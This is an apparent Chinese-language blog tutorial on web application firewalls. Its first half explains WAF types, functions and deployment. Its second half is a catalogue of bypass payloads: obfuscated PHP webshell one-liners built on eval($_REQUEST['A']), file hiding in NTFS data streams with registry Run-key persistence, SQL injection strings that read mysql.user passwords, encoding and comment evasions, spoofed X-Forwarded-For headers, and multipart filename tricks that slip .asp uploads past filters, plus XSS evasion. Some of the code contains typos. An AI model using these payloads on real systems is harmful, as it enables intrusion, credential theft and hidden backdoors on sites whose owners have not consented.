[Web安全 网络安全]- Web应用防火墙(WAF)

文章目录:

一:前言

1.简介

[1.1 引入](#1.1 引入)

[1.2 定义](#1.2 定义)

[1.3 WAF和其他攻击的区别](#1.3 WAF和其他攻击的区别)

[1.4 WAF与防火墙的区别](#1.4 WAF与防火墙的区别)

2.主要功能

3.什么情况下使用waf

4.分类

5.工作原理

6.部署方式

7.WAF部署

[a 阿里云盾](#a 阿里云盾)

[b 安全狗](#b 安全狗)

[c 宝塔面板](#c 宝塔面板)

8.Webshell免杀

9.Webshell后门分析

二:绕过方法

1.WAF注入绕过

[1.1 WAF身份认证阶段的绕过](#1.1 WAF身份认证阶段的绕过)

[1.2 WAF数据包解析阶段的绕过](#1.2 WAF数据包解析阶段的绕过)

2.文件上传绕过WAF

3.XSS绕过WAF


一:前言

1.简介

1.1 引入

因为HTTP是一个开放的协议,如果我们的产品要对外提供用户服务,那Web服务一般部署运行在公网上,任何人都可以访问,所以天然就会成为黑客的攻击目标

1.2 定义

Web应用防护墙(Web Application Firewall)简称WAF
    是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品(服务器安全防护软件)
    WAF产品里集成了一定的检测规则,会对每个请求的内容根据生成的规则进行检测
    并对不符合安全规则的作出对应的防御处理,从而保证Web应用的安全性与合法性

    
    WAF通过监控、过滤和阻止恶意的HTTP请求和响应,确保Web应用程序的安全性和可用性
    它专注于保护Web应用程序层,可以检测和防御多种类型的Web攻击:如SQL注入、跨站脚本攻击(XSS)、跨站请求伪造(CSRF)等
    WAF还可以提供日志记录功能,用于记录和分析攻击、事件和正常应用程序行为

1.3 WAF和其他攻击的区别

WAF 是一种防御机制,旨在保护Web应用程序免受各种网络攻击

网络攻击 是一种恶意行为,试图破坏、窃取或篡改数据

WAF与其他网络攻击的区别
    性质不同:
        WAF是一种防御机制,旨在保护Web应用程序免受攻击
        网络攻击则是一种恶意行为,旨在破坏、窃取或篡改数据,或使系统无法正常工作
    作用方式不同:
        WAF通过配置安全策略、规则引擎等方式,自动检测和拦截恶意流量
        网络攻击则利用系统或应用程序的漏洞,或通过社会工程学等手段,试图绕过安全措施,达到攻击目的
    目标不同:
        WAF的目标是保护Web应用程序和数据的安全,确保用户能够正常使用Web服务
        网络攻击的目标则是破坏系统的完整性、可用性或保密性,或窃取敏感信息
    防御与攻击的关系:
        WAF是防御网络攻击的重要工具之一,它可以帮助组织识别和阻止多种类型的网络攻击
        网络攻击则是WAF需要防御的对象,WAF通过不断更新和改进其防御能力,以应对不断变化的网络威胁


WAF与其他网络安全工具的比较
    虽然WAF与其他网络安全工具(如网络防火墙、入侵检测系统IDS等)在保护网络安全方面都具有重要作用,但它们之间存在明显的差异:

    焦点不同:WAF专注于保护Web应用程序,主要关注Web层攻击;而其他网络安全工具可能涵盖更广泛的领域,如网络层攻击等
    层级不同:WAF工作在应用层,通过深入分析HTTP请求和响应来检测和防御攻击;而其他网络安全工具可能在不同层级进行操作,如网络防火墙在网络层工作
    检测方式不同:WAF通过正则表达式、规则引擎等方式检测Web攻击,关注特定的攻击模式;而其他网络安全工具可能使用不同的检测方式,如IDS使用特征匹配、异常检测等
    部署位置不同:WAF通常部署在Web服务器前端,与Web应用程序直接交互;而其他网络安全工具可以部署在不同的位置,如边界防火墙位于网络边界

1.4 WAF与防火墙的区别

一、定义与工作原理
    WAF
        定义:WAF是一种专门用于保护Web应用程序的安全防护措施
        工作原理:WAF通过监控、过滤和分析HTTP/HTTPS流量,识别和阻止恶意请求,从而保护Web应用程序免受各种网络攻击
    防火墙
        定义:防火墙是一种网络安全系统,旨在监控和控制网络流量,根据预定义的安全规则决定是否允许数据包的传输
        工作原理:防火墙通过检查数据包的源地址、目标地址、端口号和协议类型等信息,来判断数据包的合法性,并据此决定是否允许其通过

二、防护层面与目的
    WAF
        防护层面:WAF主要防护OSI模型的第7层,即应用层
        防护目的:WAF专注于保护Web应用程序免受常见的网络攻击,如SQL注入、跨站脚本(XSS)、跨站请求伪造(CSRF)等
    防火墙
        防护层面:防火墙主要防护OSI模型的第3层(网络层)和第4层(传输层)
        防护目的:防火墙旨在保护内部网络免受外部威胁,防止未经授权的访问,并在企业网络和互联网之间建立一道安全屏障

三、主要功能
    WAF
        SQL注防护:WAF能够检测并阻止SQL注入攻击,防止攻击者通过恶意SQL语句获取、修改或删除数据库中的数据。
        XSS防护:WAF能够识别并阻止XSS攻击,防止攻击者在Web页面中插入恶意脚本
        CSRF防护:WAF能够检测并阻止CSRF攻击,防止攻击者伪造用户请求
        应用层DDoS防护:WAF能够检测并缓解应用层DDoS攻击,通过流量限制、速率控制等措施保护Web应用程序
        安全日志记录和分析:WAF能够记录所有检测到的安全事件和攻击行为,提供详细的日志和报表
    防火墙
        流量过滤:防火墙通过预定义的安全规则来过滤网络流量,只允许合法的数据包通过
        阻止恶意攻击:防火墙能够识别和阻止各种网络攻击,如DDoS攻击、恶意软件等
        记录网络活动:防火墙能够记录网络中的各种活动,包括数据包的传输、访问尝试等
        访问控制:防火墙通过配置访问控制列表(ACLs)和规则集,精细地管理哪些用户、设备或应用可以访问特定的系统资源
        集中安全管理:防火墙可以作为一个集中的安全控制点,统一管理和监控网络中的安全策略、日志和事件

四、部署与应用
    WAF
        WAF可以部署在云平台或本地,适用于需要保护Web应用程序的各种场景
        WAF通常与Web服务器紧密集成,以确保对HTTP/HTTPS流量的实时监控和过滤
    防火墙
        防火墙可以部署在云平台和本地,适用于保护整个网络环境
        防火墙通常部署在网络的边界上,充当已知威胁和未知威胁之间的一道屏障

2.主要功能

木马主动防御及查杀:网页木马和网页挂马扫描工具采用特征码+启发式引擎的查杀算法,WEB木马检出率大于90%

流量监控:能够实时监测到每个网站的进出流量和总流量,以及每个应用程序池及网站的CPU占用情况

网站漏洞防御功能:可拦截GET、POST、COOKIES等方式的SQL注入,可对GET、POST、COOKIES分别定义特征码,以及可拦截XSS注入等行为

危险组件防护功能:全面拦截恶意代码对组件的调用权限,拦截IIS执行恶意程序,保护网站安全

.Net安全保护模块:快捷设置.Net安全模式,禁止.Net执行系统敏感函数,保障网站安全

双层防盗链链接模式:可以针对不同站点设置防盗链的过滤, 防止图片、桌面、软件、音乐、电影被人引用。如果发现请求者是盗用网站链接, 则自动重定向到错误处理页面

网站特定资源防下载:支持对doc、mdb、mdf、myd等特定资源的防下载保护,加入要保护的敏感资料的路径,即可防止敏感资料被下载

CC攻击防护:自主研发的独特抗攻击算法,高效的主动防御系统可有效防御CC攻击、流量攻击

网站流量保护:支持下载流量控制、下载线程控制。采用独创的线程控制和流量控制技术, 大大提高服务器性能, 保护网站流量

IP黑白名单
    全IP黑白名单功能允许用户设置个性化的IP信任列表,直接屏蔽或者允许指定IP访问网站
    同时,增加iP临时黑名单功能,以及实现了针对某个功能的iP白名单功能
    同时,爬虫白名单提供爬虫信任机制,在出现误拦截情况下,允许用户自定义爬虫信任

3.什么情况下使用waf

保护Web应用程序免受各种Web攻击

1.业务类型需求
    电子商务:电商网站具有庞大的用户群体和大量的交易数据,因此需要WAF来保护用户数据、防止支付欺诈和其他网络攻击
             WAF可以有效检测和阻止如SQL注入、跨站脚本攻击(XSS)等网络攻击,确保用户信息不被窃取
    金融服务:金融机构网站承载着大量的财务数据和敏感信息
             WAF能够加强网上银行、移动银行等在线服务的安全性,防范金融诈骗,保护客户数据和交易安全
    媒体和内容提供商:WAF可以防止盗链、恶意爬虫和其他攻击,从而保护内容的安全和版权
    政府和公共服务:政府网站、在线服务和电子政务系统的安全性对于国家和公众都至关重要
             WAF可以抵御各种网络攻击,保护政府机构网站免受黑客的破坏和非法篡改,维护公众利益
    医疗保健:医院、医疗机构和健康信息系统的敏感数据和隐私同样需要WAF的保护
    教育机构:学校、大学和在线教育平台的学和教师信息安全也至关重要,WAF能够保障校园网络和教育资源的安全,防止敏感信息泄露


2.特定场景需求
    保护关键业务系统:WAF可以保护企业ERP、CRM等关键业务系统免受外部攻击,确保业务正常运行
    应对高流量场景:硬件WAF通常具有高性能和低延迟,适用于高流量的Web应用程序
    提高可用性和性能:云WAF可以提供全球分布的节点,从而提高Web应用程序的可用性和性能


3.安全策略需求
    基于规则的检测:WAF通常采用基于规则的检测技术,通过预定义规则或自定义规则来检测并拦截恶意流量
    防止漏洞利用:WAF能够检测和拦截各种漏洞利用攻击,如SQL注入、XSS、CSRF等
    流量控制和访问控制:WAF可以通过安全策略来限制流量的来源、目标和类型,实现更精细的流量控制和访问控制


4.合规性需求
    在某些行业或地区,使用WAF可能符合特定的安全合规要求
    例如,金融行业、医疗行业等对于数据安全和隐私保护有严格的规定,使用WAF可以帮助这些行业满足合规要求

4.分类

硬件Waf:绿盟、安恒、启明、知道创宇等
    硬件WAF的价格一般比较昂贵,支持多种方式部署到Web服务器前端,识别外部的异常流量,并进行阻断拦截,为Web应用提供安全防护


软件Waf:安全狗、云锁、中间件自带的Waf模块
    软件WAF安装过程比较简单,需要安装到需要安全防护的web服务器上,以纯软件的方式实现


云WAF:阿里云、安全狗、知道创宇、安恒
    云WAF的维护成本低,不需要部署任何硬件设备,云WAF的拦截规则会实时更新
    对于部署了云WAF的网站,我们发出的数据请求首先会经过云WAF节点进行规则检测
    如果请求匹配到WAF拦截规则,则会被WAF进行拦截处理,对于正常、安全的请求则转发到真实Web服务器中进行响应处理


自定义WAF
    网站开发人员为了网站的安全,会在可能遭受攻击的地方增加一些安全防护代码,比如过滤敏感字符,对潜在的威胁的字符进行编码、转义等

5.工作原理

1.预处理
    预处理阶段首先在接收到数据请求流量时会先判断是否为HTTP/HTTPS请求,之后会查看此URL请求是否在白名单之内
    如果该URL请求在白名单列表里,直接交给后端Web服务器进行响应处理,对于不在白名单之内的对数据包解析后进入到规则检测部分

2.规则检测
    每一种WAF产品都有自己独特的检测规则体系,解析后的数据包会进入到检测体系中进行规则匹配,检查该数据请求是否符合规则,识别出恶意攻击行为

3.处理模块
    针对不同的检测结果,处理模块会做出不同的安全防御动作
    如果符合规则则交给后端Web服务器进行响应处理
    对于不符合规则的请求会执行相关的阻断、记录、告警处理
    不同的WAF产品会自定义不同的拦截警告页面

4.日志记录
    WAF在处理的过程中也会将拦截处理的日志记录下来,方便用户在后续中可以进行日志查看分析

6.部署方式

1.透明网桥(透明代理模式)
    工作原理:当Web客户端对服务器有连接请求时,TCP连接请求被WAF截取和监控
        WAF代理了Web客户端和服务器之间的会话,将会话分成了两段,并基于桥模式进行转发
        从Web客户端的角度看,它仍然是直接访问服务器,感知不到WAF的存在

    特点:对网络的改动最小,可以实现零配置部署
        另外,通过WAF的硬件Bypass功能,在设备出现故障或掉电时,可以不影响原有网络流量,只是WAF自身功能失效
        然而,这种部署方式下,网络的所有流量(HTTP和非HTTP)都经过WAF,对WAF的处理性能有一定要求,且无法实现服务器负载均衡功能


2.反向代理模式
    工作原理:将真实服务器的地址映射到反向代理服务器上,此时代理服务器对外表现为一个真实服务器
        当代理服务器收到HTTP的请求报文后,将该请求转发给其对应的真实服务器
        后台服务器接收到请求后将响应先发送给WAF设备,由WAF设备再将应答发送给客户端

    特点:需要对网络进行改动,配置相对复杂
        除了要配置WAF设备自身的地址和路由外,还需要在WAF上配置后台真实Web服务器的地址和虚地址的映射关系
        如果原来服务器地址是全局地址(没经过NAT转换),那么通常还需要改变原有服务器的IP地址以及DNS解析地址
        这种部署模式的优点是可以在WAF上同时实现负载均衡


3.镜像流量(端口镜像模式)
    工作原理:WAF旁路接在Web服务器上游的交换机上,使用交换机的端口镜像功能,将交换机端口上的HTTP流量镜像一份给WAF
        WAF只对HTTP流量进行监控和报警,不进行拦截阻断。对于WAF而言,流量只进不出

    特点:部署相对简单,对现有网络架构影响较小
        但是,需要确保镜像流量的实时性和准确性。此外,在这种模式下,WAF只能进行监控和报警,无法直接阻断异常流量


4.路由代理模式
    工作原理:与透明网桥模式类似,但工作在路由转发模式而非网桥模式。需要为WAF的转发接口配置IP地址以及路由

    特点:需要对网络进行简单改动,要设置WAF设备内网口和外网口的IP地址以及对应的路由
        工作在路由代理模式时,WAF可以直接作为Web服务器的网关,但存在单点故障问题,同时也要负责转发所有的流量
        这种工作模式也不支持服务器负载均衡功能
        然而,它能够对流经OSI应用层的数据进行分析,对其他层的流量不作控制,因此具有快速、方便、简单的特点

7.WAF部署

a 阿里云盾

购买云服务器 ECS 即可免费使用云盾的基础功能

b 安全狗

安全狗软件

1.关闭apache程序及httpd.exe进程

2.运行cmd,cd进入apache/bin文件夹目录            cd C:\phpStudy\Apache\bin
  执行httpd.exe -k install -n apache2.4.39      安全狗安装服务名称填写apache2.4.39
  打开apache,打开安全狗安装包进行安装            安装完成后点击安装安全狗插件

c 宝塔面板

宝塔面板 - 简单好用的Linux/Windows服务器运维管理面板

8.Webshell免杀

1.把马创建成涵数,后面只要调用涵数就行

2.变量覆盖

3.组合法

4.在线加密

5.文件包含
    <?php
         $filename = $_GET['filename']; 
        include($filename); 
    ?>

6.通过NTFS交换数据流文件实现文件隐藏
    echo hello>>test.txt:webshell.php            创建数据流文件
    dir/r                                        查看数据流文件
    notepad muma.php                             新建一个一句话木马文件
    通过命令 type muma.php>>test.txt:muma.php     创建新的交换数据流文件
    数据流文件执行方法:是直接在注册表中的run键下添加数据流文件的完整路径:HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run
    建立键值"123" = %filepath%: %streamName%,下次系统启动时就会自动运行该隐藏文件

9.Webshell后门分析

1.抓包分析法

2.数据流量协议分析法

3.代码分析定位法

二:绕过方法

1.WAF注入绕过

白名单黑名单身份认证--数据包解析--规则判断--拦截

1.1 WAF身份认证阶段的绕过

伪造搜索引擎

老版本的WAF是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击
这里推荐一个火狐插件,可以修改User-Agent,叫User-Agent Switcher


点击你要添加的分组然后点击New User Agent...
输入User Agent信息然后点击确定
然后选择你要模拟的的User Agent
选择后刷新页面即可    
    也可以通过手工修改User-Agent, 在火狐浏览器地址栏输入"about:config",按下回车进入设置菜单
    找到"general.useragent.override",如果没有这一项,则点右键"新建"->"字符串", 将其值设为自己想要的UserAgent(如:Baiduspider)

    也可以用burp来修改User-Agent

伪造白名单特殊目录

360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截

    比如:www.spisec.com/pen/news.php?id=1 union select user,password from mysql.user

    可以改为:
        www.spisec.com/pen/news.php/admin?id=1 union select user,password from mysql.user
        或者
        www.spisec.com/pen/admin/..\news.php?id=1 union select user,password from mysql.user

直接攻击源站

这个方法可以用于安全宝、加速乐等云WAF,云WAF的原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器

如果我们能通过一些手段(比如c段、社工)找到原始的服务器地址,便可以绕过

1.2 WAF数据包解析阶段的绕过

编码绕过
    URL编码
    二次URL编码
    assert(base64_decode('cGhwaW5mbygpOw=='));
    其他编码:例如Unicode编码,Base64编码,Hex编码,ASCII编码等,十六进制编码


修改请求方式绕过:有些WAF同时接收GET方法和POST的方法,但只在GET方法中增加了过滤规则,可通过发送POST方法进行绕过
    GET /xxx/?id=1+and+sleep(4)
    POST/xxx/?id=1+and+sleep(4)


空格替换
    %0a
    %0a/**/      
    /*|%23--%23|*/
    空白符
    +
    -
    @
    !
    注释符/**/
    &
    ()
    ''
    2个空格


等号替换
    like   
    rlike


换行替换:%23%0a、%2d%2d%0a
    %0A     是url编码中的换行
    %23     是url编码中的 #


关键字替换   
    COMMAND                 |         WHAT TO USE INSTEAD
    @@version               |         version()
    concat()                |         concat_ws()
    group_concat()          |         concat_ws()


字符替换
    greatest                |         替换 > 
    least                   |         替换 <
    in                      |         替换 =
    between and             |         替换 =


逻辑符号替换
    and                     |         &&    
    or                      |         ||  
    xor                     |         |     
    not                     |         !


双写替换法
    http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4...


使用大小写
    http://www.***.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4....


%绕过
    ?id=1 union select 1, 2, 3 from admin
    ?id=1 union s%e%lect 1, 2, 3 from admin


%00截断
    ?a=1&id=1and sleep(3) 
    ?a=1%00.&id=1and sleep(3)


内联注释绕过
    ?id=1+and+sleep(3)+and+1=2
    ?id=1+and+/*!50001sleep(3)*/+and+1=2

    常见的用于注释的符号有哪些:/*/, -- , //, #, --+,-- -, ;,--a;/!50000xx*/


超大数据包绕过    
    ?id=1+and+sleep(3) 
    ?id=1+and+sleep(3) )+and+111111111=11111111111111111111


宽字节绕过:因为使用了GBK编码。为了防止sql注入,提交的单引号(%27)会进行转义处理,即在单引号前加上斜杠/'(%5C%27)
    正常payload:?id=1'and 1=1--+
    尝试直接提交转义后的单引号:?id=1%5C%27and 1=1--+   
        通常这样的提交会被视为无效,因为转义字符(\)和单引号(')已经被视为一个整体了,无法再闭合字符串 
    尝试宽字节绕过:?id=1%df%27and 1=1--+
        %df 是一个GBK编码(或其他宽字节编码)中的高字节
        攻击者希望这个高字节与后面的 %27(单引号)组合成一个合法的宽字节字符,从而绕过对单引号的转义处理


拼接
    变量拼接绕过
        //如果对phpinfo检测,可以把参数改为
        $a='php';$b='info';$c=$a.$b;$c();
    拼接免杀
        $a='ev';
        $b='al';
        $c=$a.$b;
        $d='c';
        $$d($_REQUEST['A']);
        //等价于eval($_REQUEST['A']);


函数绕过
    字符替换绕过:assert(str_replace('x','','sxyxsxtxexm("ipconfig")'));
    end免杀函数取数组最后一个元素:eval(end($_REQUEST['A']));        
    strcmp函数:比较两个值大小,相等返回0 后者比前者大返回-1 小返回1
        ?id=-1' union select srtcmp(ascii(substr(database(),0,1)),100) --+


函数免杀
    function abc($b){
        returb $b;
    }
    $a = abc("$_REQUEST['A']");
    eval($a);


类定义绕过
    class user{
        $name='';
        function __construct($name){
            $this->name=$name;
        }
        function __destruct(){
            eval($this->name);
        }
    }
    $a=new user($_REQUEST['A']);
    
        

利用WAF本身的功能绕过:假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过
    http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....


云waf伪造ip头   
    X-Originating-IP: 127.0.0.1
    X-Forwarded-For: 127.0.0.1
    X-Remote-IP: 127.0.0.1
    X-Remote-Addr: 127.0.0.1
    X-Client-IP: 127.0.0.1

2.文件上传绕过WAF

文件名后缀绕过
    demo.php.xxx
    php.php


等号绕过:在filename后多添加两个等号
    filename==="1.php"


填充垃圾字符:在Content-Disposition字段后添加垃圾数据,来绕过对文件名的校验
    Content-Disposition:aaaaaaafrom-data;name="uploadtime";


突破绕过
    突破0,文件名前缀加[0x09]绕过
        Content-Disposition: form-data; name="filepath"; filename="[0x09]backlion.asp"
        Content-Type: text/html
    突破1,文件名去掉双引号绕过
        Content-Disposition: form-data; name="filepath"; filename=backlion.asp
        Content-Type: text/html
    突破2,添加一个filename的文件名参数,并赋值绕过,两个看哪一个可以过去
        Content-Disposition: form-data; name="filepath"; filename="backlion.asp";filename="test.jpg"
        Content-Type: text/html
    突破3,form变量改成f+orm组合绕过
        Content-Disposition: f+orm-data; name="filepath";filename="backlion.asp"
        Content-Type: text/html
    突破4 ,文件名后缀大小写绕过
        ConTent-Disposition: form-data; name="filepath"; filename="backlion.Asp"
        Content-Type: text/html
    突破5 ,去掉form-data变量绕过
        ConTent-Disposition: name="filepath"; filename="backlion.asp"
        Content-Type: text/html
    突破6,在Content-Disposition:后添加多个空格 或者在form-data;后添加多个空格绕过
        ConTent-Disposition: form-data                                 ; name="filepath"; filename="backlion.asp"
        Content-Type: text/html
        ConTent-Disposition:                                 form-data ; name="filepath"; filename="baclion.asp"
        Content-Type: text/html
    突破7 ,backlion.asp . (空格+.)绕过
        ConTent-Disposition: form-data; name="filepath"; filename="backlion.asp ."
        Content-Type: text/html
    突破8 ,"回车换行,绕过
        ConTent-Disposition: form-data; name="filepath"; filename="backlion.asp
        "
        Content-Type: text/html
    突破9 ,NTFS流 在文件名后加::$DATA绕过
        ConTent-Disposition: form-data; name="filepath"; filename="backlion.asp::$DATA"
        Content-Type: text/html
        ConTent-Disposition: form-data; name="filepath"; filename="backlion.asp::$DATA\0x00\fuck.asp0x00.jpg"
        Content-Type: text/html
    突破10,将Content-Type和ConTent-Disposition调换顺序位置绕过
        Content-Type: text/html
        ConTent-Disposition: form-data; name="filepath"; filename="backlion.asp"
    突破11,在文件名前缀加空格(tab键可替换)绕过
        Content-Disposition: form-data; name="filepath"; filename=    "backlion.asp"
        Content-Type: text/html
    突破12,在form-data加空格绕过
        Content-Disposition: form-data;      name="uploaded"; filename="backlion.asp"
        Content-Type: text/html
    突破13,在form-data的前后加上+绕过
        Content-Disposition: +form-data; name="filepath"; filename="backlion.asp"
        Content-Type: text/html
        Content-Disposition: form-data+; name="filepath"; filename="backlion.asp"
        Content-Type: text/html

3.XSS绕过WAF

大小写绕过
    将<script>标签变为<SCRIPT>或<sCRIpT>,将alert函数变为aLeRT或ALERT等


javascript伪协议
    JavaScript伪协议是一种在URL中嵌入JavaScript代码的方法
    例如,在<a>标签的href属性中,可以写入javascript:alert(1)来执行JavaScript代码
    值得注意的是,引号通常可以去掉,支持伪协议的属性还有lowsrc、bgsound、background、action、dynsrc等


没有分号
    在JavaScript中,语句通常以分号结尾
    然而,如果JavaScript引擎能够判断一条语句是完整的,并且结尾有换行符,那么就可以省略分号
    例如,将alert(1);变为alert(1)(没有分号),如果WAF没有考虑到这种情况,那么就可能无法检测到这条恶意语句


Flash
    虽然Flash技术已经逐渐被淘汰,但在一些旧的Web应用中仍然可能存在Flash插件。攻击者可以利用Flash中的漏洞来执行XSS攻击,并尝试绕过WAF的检测
    然而,随着Flash的逐渐淘汰,这种方法已经变得不那么常见了


HTML5 新标签
    HTML5引入了一些新的标签和属性,这些新特性可能会被WAF所忽略。攻击者可以利用这些新标签和属性来构造恶意payload,并尝试绕过WAF的检测
    例如,使用<audio>或<video>标签的onerror事件来执行恶意脚本


Fuzz进行测试
    Fuzz测试是一种自动化的测试方法,用于发现软件中的漏洞。攻击者可以使用Fuzz测试工具来生成大量的恶意payload,并尝试绕过WAF的检测
    通过不断尝试和修改payload,攻击者可能会发现WAF的漏洞或弱点,并利用它们来执行XSS攻击


双层标签绕过
    <div><script>alert(1)</script></div>这样的结构来隐藏恶意代码
相关推荐
Koi慢热24 分钟前
路由基础(全)
linux·网络·网络协议·安全
hzyyyyyyyu2 小时前
内网安全隧道搭建-ngrok-frp-nps-sapp
服务器·网络·安全
网络研究院2 小时前
国土安全部发布关键基础设施安全人工智能框架
人工智能·安全·框架·关键基础设施
刽子手发艺3 小时前
WebSocket详解、WebSocket入门案例
网络·websocket·网络协议
Daniel 大东3 小时前
BugJson因为json格式问题OOM怎么办
java·安全
速盾cdn7 小时前
速盾:CDN是否支持屏蔽IP?
网络·网络协议·tcp/ip
yaoxin5211237 小时前
第二十七章 TCP 客户端 服务器通信 - 连接管理
服务器·网络·tcp/ip
内核程序员kevin7 小时前
TCP Listen 队列详解与优化指南
linux·网络·tcp/ip
PersistJiao8 小时前
Spark 分布式计算中网络传输和序列化的关系(一)
大数据·网络·spark